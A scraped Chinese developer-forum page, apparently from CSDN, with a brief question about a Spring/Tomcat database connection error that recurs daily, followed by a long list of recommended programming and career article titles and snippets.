<!--一条sql语句,用来验证数据库连接是否正常。这条语句必须是一个查询模式,并至少返回一条数据。可以为任何可以验证数据库连接是否正常的sql--> </bean> 程序第二天总会报这样的错..重启tomcat就OK了..求大神指点..
大学四年自学走来,这些私藏的实用工具/学习网站我贡献出来了
大学四年,看课本是不可能一直看课本的了,对于学习,特别是自学,善于搜索网上的一些资源来辅助,还是非常有必要的,下面我就把这几年私藏的各种资源,网站贡献出来给你们。主要有:电子书搜索、实用工具、在线视频学习网站、非视频学习网站、软件下载、面试/求职必备网站。 注意:文中提到的所有资源,文末我都给你整理好了,你们只管拿去,如果觉得不错,转发、分享就是最大的支持了。 一、电子书搜索 对于大部分程序员...
【JSON解析】浅谈JSONObject的使用
简介 在程序开发过程中,在参数传递,函数返回值等方面,越来越多的使用JSON。JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,同时也易于机器解析和生成、易于理解、阅读和撰写,而且Json采用完全独立于语言的文本格式,这使得Json成为理想的数据交换语言。 JSON建构于两种结构: “名称/值”对的集合(A Collection of name/va...
《MySQL 性能优化》之理解 MySQL 体系结构
本文介绍 MySQL 的体系结构,包括物理结构、逻辑结构以及插件式存储引擎。
程序员请照顾好自己,周末病魔差点一套带走我。
程序员在一个周末的时间,得了重病,差点当场去世,还好及时挽救回来了。
卸载 x 雷某度!GitHub 标星 1.5w+,从此我只用这款全能高速下载工具!
作者 | Rocky0429 来源 | Python空间 大家好,我是 Rocky0429,一个喜欢在网上收集各种资源的蒟蒻… 网上资源眼花缭乱,下载的方式也同样千奇百怪,比如 BT 下载,磁力链接,网盘资源等等等等,下个资源可真不容易,不一样的方式要用不同的下载软件,因此某比较有名的 x 雷和某度网盘成了我经常使用的工具。 作为一个没有钱的穷鬼,某度网盘几十 kb 的下载速度让我...
只因接了一个电话,程序员被骗 30 万!
今天想给大家说一个刚刚发生在我身边的一起真实的诈骗经历,我的朋友因此被骗走30万。注:为了保护当事人隐私,部分情节进行了修改。1平安夜突来的电话开始以为就像普通的诈骗一样,想办法让你把钱...
我一个37岁的程序员朋友
周末了,人一旦没有点事情干,心里就瞎想,而且跟几个老男人坐在一起,更容易瞎想,我自己现在也是 30 岁了,也是无时无刻在担心自己的职业生涯,担心丢掉工作没有收入,担心身体机能下降,担心突...
python自动下载图片
近日闲来无事,总有一种无形的力量萦绕在朕身边,让朕精神涣散,昏昏欲睡。 可是,像朕这么有职业操守的社畜怎么能在上班期间睡瞌睡呢,我不禁陷入了沉思。。。。 突然旁边的IOS同事问:‘嘿,兄弟,我发现一个网站的图片很有意思啊,能不能帮我保存下来提升我的开发灵感?’ 作为一个坚强的社畜怎么能说自己不行呢,当时朕就不假思索的答应:‘oh, It’s simple. Wait for me for a ...
一名大专同学的四个问题
【前言】   收到一封来信,赶上各种事情拖了几日,利用今天要放下工作的时机,做个回复。   2020年到了,就以这一封信,作为开年标志吧。 【正文】   您好,我是一名现在有很多困惑的大二学生。有一些问题想要向您请教。   先说一下我的基本情况,高考失利,不想复读,来到广州一所大专读计算机应用技术专业。学校是偏艺术类的,计算机专业没有实验室更不用说工作室了。而且学校的学风也不好。但我很想在计算机领...
复习一周,京东+百度一面,不小心都拿了Offer
京东和百度一面都问了啥,面试官百般刁难,可惜我全会。
Java 14 都快来了,为什么还有这么多人固守Java 8?
从Java 9开始,Java版本的发布就让人眼花缭乱了。每隔6个月,都会冒出一个新版本出来,Java 10 , Java 11, Java 12, Java 13, 到2020年3月份,...
达摩院十大科技趋势发布:2020 非同小可!
【CSDN编者按】1月2日,阿里巴巴发布《达摩院2020十大科技趋势》,十大科技趋势分别是:人工智能从感知智能向认知智能演进;计算存储一体化突破AI算力瓶颈;工业互联网的超融合;机器间大规模协作成为可能;模块化降低芯片设计门槛;规模化生产级区块链应用将走入大众;量子计算进入攻坚期;新材料推动半导体器件革新;保护数据隐私的AI技术将加速落地;云成为IT技术创新的中心 。 新的画卷,正在徐徐展开。...
轻松搭建基于 SpringBoot + Vue 的 Web 商城应用
首先介绍下在本文出现的几个比较重要的概念: 函数计算(Function Compute): 函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传。函数计算准备计算资源,并以弹性伸缩的方式运行用户代码,而用户只需根据实际代码运行所消耗的资源进行付费。Fun: Fun 是一个用于支持 Serverless 应用部署的工具,能帮助您便捷地管理函数计算、API ...
Python+OpenCV实时图像处理
目录 1、导入库文件 2、设计GUI 3、调用摄像头 4、实时图像处理 4.1、阈值二值化 4.2、边缘检测 4.3、轮廓检测 4.4、高斯滤波 4.5、色彩转换 4.6、调节对比度 5、退出系统 初学OpenCV图像处理的小伙伴肯定对什么高斯函数、滤波处理、阈值二值化等特性非常头疼,这里给各位分享一个小项目,可通过摄像头实时动态查看各类图像处理的特点,也可对各位调参、测试...
2020年一线城市程序员工资大调查
人才需求 一线城市共发布岗位38115个,招聘120827人。 其中 beijing 22805 guangzhou 25081 shanghai 39614 shenzhen 33327 工资分布 2020年中国一线城市程序员的平均工资为16285元,工资中位数为14583元,其中95%的人的工资位于5000到20000元之间。 和往年数据比较: yea...
为什么猝死的都是程序员,基本上不见产品经理猝死呢?
相信大家时不时听到程序员猝死的消息,但是基本上听不到产品经理猝死的消息,这是为什么呢? 我们先百度搜一下:程序员猝死,出现将近700多万条搜索结果: 搜索一下:产品经理猝死,只有400万条的搜索结果,从搜索结果数量上来看,程序员猝死的搜索结果就比产品经理猝死的搜索结果高了一倍,而且从下图可以看到,首页里面的五条搜索结果,其实只有两条才是符合条件。 所以程序员猝死的概率真的比产品经理大,并不是错...
害怕面试被问HashMap?这一篇就搞定了!
声明:本文以jdk1.8为主! 搞定HashMap 作为一个Java从业者,面试的时候肯定会被问到过HashMap,因为对于HashMap来说,可以说是Java集合中的精髓了,如果你觉得自己对它掌握的还不够好,我想今天这篇文章会非常适合你,至少,看了今天这篇文章,以后不怕面试被问HashMap了 其实在我学习HashMap的过程中,我个人觉得HashMap还是挺复杂的,如果真的想把它搞得明明白...
毕业5年,我问遍了身边的大佬,总结了他们的学习方法
我问了身边10个大佬,总结了他们的学习方法,原来成功都是有迹可循的。
推荐10个堪称神器的学习网站
每天都会收到很多读者的私信,问我:“二哥,有什么推荐的学习网站吗?最近很浮躁,手头的一些网站都看烦了,想看看二哥这里有什么新鲜货。” 今天一早做了个恶梦,梦到被老板辞退了。虽然说在我们公司,只有我辞退老板的份,没有老板辞退我这一说,但是还是被吓得 4 点多都起来了。(主要是因为我掌握着公司所有的核心源码,哈哈哈) 既然 4 点多起来,就得好好利用起来。于是我就挑选了 10 个堪称神器的学习网站,推...
这些软件太强了,Windows必装!尤其程序员!
Windows可谓是大多数人的生产力工具,集娱乐办公于一体,虽然在程序员这个群体中都说苹果是信仰,但是大部分不都是从Windows过来的,而且现在依然有很多的程序员用Windows。 所以,今天我就把我私藏的Windows必装的软件分享给大家,如果有一个你没有用过甚至没有听过,那你就赚了????,这可都是提升你幸福感的高效率生产力工具哦! 走起!???? NO、1 ScreenToGif 屏幕,摄像头和白板...
阿里面试,面试官没想到一个ArrayList,我都能跟他扯半小时
我是真的没想到,面试官会这样问我ArrayList。
曾经优秀的人,怎么就突然不优秀了。
职场上有很多辛酸事,很多合伙人出局的故事,很多技术骨干被裁员的故事。说来模板都类似,曾经是名校毕业,曾经是优秀员工,曾经被领导表扬,曾经业绩突出,然而突然有一天,因为种种原因,被裁员了,...
大学四年因为知道了这32个网站,我成了别人眼中的大神!
依稀记得,毕业那天,我们导员发给我毕业证的时候对我说“你可是咱们系的风云人物啊”,哎呀,别提当时多开心啦????,嗯,我们导员是所有导员中最帅的一个,真的???? 不过,导员说的是实话,很多人都叫我大神的,为啥,因为我知道这32个网站啊,你说强不强????,这次是绝对的干货,看好啦,走起来! PS:每个网站都是学计算机混互联网必须知道的,真的牛杯,我就不过多介绍了,大家自行探索,觉得没用的,尽管留言吐槽吧???? 社...
良心推荐,我珍藏的一些Chrome插件
上次搬家的时候,发了一个朋友圈,附带的照片中不小心暴露了自己的 Chrome 浏览器插件之多,于是就有小伙伴评论说分享一下我觉得还不错的浏览器插件。 我下面就把我日常工作和学习中经常用到的一些 Chrome 浏览器插件分享给大家,随便一个都能提高你的“生活品质”和工作效率。 Markdown Here Markdown Here 可以让你更愉快的写邮件,由于支持 Markdown 直接转电子邮...
看完这篇HTTP,跟面试官扯皮就没问题了
我是一名程序员,我的主要编程语言是 Java,我更是一名 Web 开发人员,所以我必须要了解 HTTP,所以本篇文章就来带你从 HTTP 入门到进阶,看完让你有一种恍然大悟、醍醐灌顶的感觉。 最初在有网络之前,我们的电脑都是单机的,单机系统是孤立的,我还记得 05 年前那会儿家里有个电脑,想打电脑游戏还得两个人在一个电脑上玩儿,及其不方便。我就想为什么家里人不让上网,我的同学 xxx 家里有网,每...
史上最全的IDEA快捷键总结
现在Idea成了主流开发工具,这篇博客对其使用的快捷键做了总结,希望对大家的开发工作有所帮助。
阿里程序员写了一个新手都写不出的低级bug,被骂惨了。
这种新手都不会范的错,居然被一个工作好几年的小伙子写出来,差点被当场开除了。
谁是华为扫地僧?
是的,华为也有扫地僧!2020年2月11-12日,“养在深闺人不知”的华为2012实验室扫地僧们,将在华为开发者大会2020(Cloud)上,和大家见面。到时,你可以和扫地僧们,吃一个洋...
Idea 中最常用的10款插件(提高开发效率),一定要学会使用!
学习使用一些插件,可以提高开发效率。对于我们开发人员很有帮助。这篇博客介绍了开发中使用的插件。
AI 没让人类失业,搞 AI 的人先失业了
最近和几个 AI 领域的大佬闲聊 根据他们讲的消息和段子 改编出下面这个故事 如有雷同 都是巧合 1. 老王创业失败,被限制高消费 “这里写我跑路的消息实在太夸张了。” 王葱葱哼笑一下,把消息分享给群里。 阿杰也看了消息,笑了笑。在座几位也都笑了。 王葱葱是个有名的人物,21岁那年以全额奖学金进入 KMU 攻读人工智能博士,累计发表论文 40 余篇,个人技术博客更是成为深度学习领域内风向标。 ...
2020年,冯唐49岁:我给20、30岁IT职场年轻人的建议
点击“技术领导力”关注∆每天早上8:30推送 作者|Mr.K 编辑| Emma 来源|技术领导力(ID:jishulingdaoli) 前天的推文《冯唐:职场人35岁以后,方法论比经验重要》,收到了不少读者的反馈,觉得挺受启发。其实,冯唐写了不少关于职场方面的文章,都挺不错的。可惜大家只记住了“春风十里不如你”、“如何避免成为油腻腻的中年人”等不那么正经的文章。 本文整理了冯...
立即提问